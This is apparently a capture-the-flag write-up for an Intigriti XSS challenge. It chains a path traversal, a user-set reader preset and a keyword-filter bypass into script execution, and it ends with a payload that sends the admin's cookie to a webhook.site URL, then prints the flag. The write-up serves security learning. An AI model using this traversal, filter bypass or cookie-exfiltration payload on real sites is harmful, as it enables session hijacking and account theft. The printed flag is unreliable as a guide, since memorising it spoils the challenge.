Challenge: https://challenge-0426.intigriti.io/challenge
Flag: INTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284}
Find an XSS to steal the flag with a maximum of 1 user interaction
We are presented with a note sharing website

We can write notes using html for the content

We also have some personal settings we can update

Lastly, notes have 3 proposed presentations: Summary, Print and Compact

All the client code is in app.js file. It is not minified, allowing us to explore it freely
The application initialize DOMPurify in getSanitizeConfig() at line 127 of app.js, a few remarks
- The policy is very restrictive
- A variable,
policies, can enable a less restrictive policy vialoadContentPolicies()
function getSanitizeConfig() {
var cfg = {
ALLOWED_TAGS: ['h1','h2', '...'],
ALLOWED_ATTR: ['href', 'src', '...'],
ALLOW_DATA_ATTR: false
};
var policies = loadContentPolicies();
if (policies.allowForms) {
cfg.ALLOWED_TAGS = cfg.ALLOWED_TAGS.concat([
'form','input','...']);
}
if (policies.allowIds) {
cfg.ALLOWED_ATTR = cfg.ALLOWED_ATTR.concat([
'id','name', '...']);
}
if (policies.allowDataAttrs) {
cfg.ALLOW_DATA_ATTR = true;
}
return cfg;At line 115: loadContentPolicies() reads from APP variable via a getOwnString() helper to enable this permissive mode
var mode = getOwnString(APP, 'renderMode', 'safe');
return {
allowForms: mode === 'full',
allowIds: mode === 'full',
allowDataAttrs: mode === 'full',
enableEnhancements: mode === 'full'
};- the
APPvariable is defined at the very beginning ofapp.js
var APP = window.__APP_INIT__ || {};- From the HTML page we can check the value at initialization, and it does not contains
renderMode
-
We can play with the URL when watching a note and convice ourself that
theme: is controled from our settingspanelandnoteId: are controlled by the URL of the note
-
The only place where
renderModeis modified inapp.jsis in belowapplyRemoteProfile()function ...
function applyRemoteProfile(profile) {
if (!profile || typeof profile !== 'object') return;
if (typeof profile.renderMode === 'string') {
APP.renderMode = profile.renderMode;
}- ... Which in turns is only called from
loadPanelManifest()function, let's examine it
function loadPanelManifest() {
if (typeof window.__NOTE_CONTENT__ !== 'string') {
return Promise.resolve();
}
var panel = typeof APP.panel === 'string' ? APP.panel.toLowerCase().trim() : 'summary';
var noteId = typeof APP.noteId === 'string' ? APP.noteId : '';
if (!noteId) return Promise.resolve();
if (!panel) panel = 'summary';
var target = '/note/' + encodeURIComponent(noteId) + '/' + panel +
'/manifest.json?note=' + encodeURIComponent(noteId);
return fetch(target, {
headers: { 'Accept': 'application/json' }
})- We see it fetches an URL using the panel variable unescaped ! to reach
applyRemoteProfile()we need ...- A GET HTTP endpoint that returns JSON
- The json returned have some requirements to reach
loadContentPoliciesadded with above finding ...
return fetch(target, {
headers: { 'Accept': 'application/json' }
})
.then(function (r) {
if (!r.ok) {
if (!isBuiltinPanel(panel)) {
return loadReaderPresetTheme(noteId, panel).then(function () {
return null;
});
}
return null;
}
return r.json();
})
.then(function (data) {
if (data && data.profile) {
loadContentPolicies(data.profile);
}
})
.catch(function () {});
}- ... we are looking for an endpoint in the current application that returns
{
"profile": {
"renderMode": "full"
}
}- If we look and play with the preference api
GET /api/account/preferencesand POST, we can only modify everything inside preferences field only, so not usefull - By reading the code of
loadReaderPresetTheme()function we discoverreader-presets, which- given a valid
presetsand a validnote_idreturn a json compatible with the vulnerability above - We "saw"
presetsbefore ... it was inGET /api/account/preferencesand was empty ! - let's use
/api/account/preferencesto create a preset (I createdtest) and confirm everything we set is reflected
- given a valid
POST /api/account/preferences
{
"readerPresets": {
"test": {
"profile": {
"renderMode": "full"
}
}
}
}
- To exploit the
PANELvariable in the URL below ...:
https://challenge-0426.intigriti.io/note/{NOTE_ID}/{PANEL}- ... We use the following encoding, notice the
#at the end to discard whatapp.jswill concat (a valid note_id and preset are required)
encodeURIComponent('../../api/account/preferences/reader-presets/test/manifest.json?note=556b70c757b458d63b2fffea8ecaa329c9fe2eadd0be7a2a89c47708b95c38cb#');
// result
// ..%2F..%2Fapi%2Faccount%2Fpreferences%2Freader-presets%2Ftest%2Fmanifest.json%3Fnote%3D556b70c757b458d63b2fffea8ecaa329c9fe2eadd0be7a2a89c47708b95c38cb%23We have succeeded in enabling renderMode=="full" which allows a more permissive DOMpurify policy !
In search of a innerHTML sink we look in renderNoteContent() we notice a postSanitize() function which may break sanitization, unfortunately it only removes any 'data-*' attributes. There is omething going on with data attributes ...
function renderNoteContent() {
var display = document.getElementById('note-display');
var content = window.__NOTE_CONTENT__;
if (!display || typeof content !== 'string') return;
var clean = sanitize(content);
var safe = postSanitize(clean);
display.innerHTML = safe;- If we look in
loadCustomWidget()function we can see it usesAPP.widgetSinkvariable allows to inject script
function loadCustomWidget(el) {
if (getOwnString(APP, 'widgetSink', 'text') !== 'script') return;
var cfg = el.dataset.cfg;
if (!cfg || cfg.length > 512) return;
var s = document.createElement('script');
s.textContent = cfg;
document.head.appendChild(s);
}- So the settings to provision is already expanding too
{
"profile": {
"widgetSink": "script",
"renderMode": "full"
}
}- Also,
el.dataset.cfgabove comes fromprocessEnhancements()which callsloadCustomWidget()after a lot of conditions summarized below
// from case 'custom': (line 271)
type === 'custom'
// from below ... widgetTypes = ["custom"] (line 251 and 262)
var manifestTypes = getOwnArray(APP, 'widgetTypes');
manifestTypes.length >= 1
manifestTypes.indexOf(type) !== -1
// from below ... <div id="enhance-config" data-types="custom"></div> (line 254 and 261)
var configEl = document.getElementById('enhance-config');
!!configEl === true
var allowedTypes = (configEl.dataset.types || '').split(',');
allowedTypes.indexOf(type) !== -1- The settings to set are expanding again to be
{
"profile": {
"widgetSink": "script",
"renderMode": "full",
"widgetTypes": ["custom"]
}
}- Also, the html template with custom enhancements should looks like
<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="alert(document.cookie)"></div>- Last difficulty we need to bypass the filter in
postSanitize()which uses
var UNSAFE_CONTENT_RE = /script|cookie|document|window|eval|alert|prompt|confirm|Function|fetch|XMLHttp|import|require|setTimeout|setInterval/i;
UNSAFE_CONTENT_RE.test(attr.value)- for that we can modify the HTML to be
<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="this['ale'+'rt'](this['doc'+'ument']['coo'+'kie'])"></div>- to steal the cookie from for the report feature we can change it to
<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="self['fet'+'ch']('https://webhook.site/91b5ebf9-2fd4-4caf-8f63-9ccbee242441?c='+encodeURIComponent(self['doc'+'ument']['coo'+'kie']))"></div>- We send the full url to the review (the button/js also does that by default)
- We can steal the admin cookie and get the flag (httpOnly being false on the cookie)
The flag:
INTIGRITI{019d955f-1643-77a6-99ef-1c10975ab284}


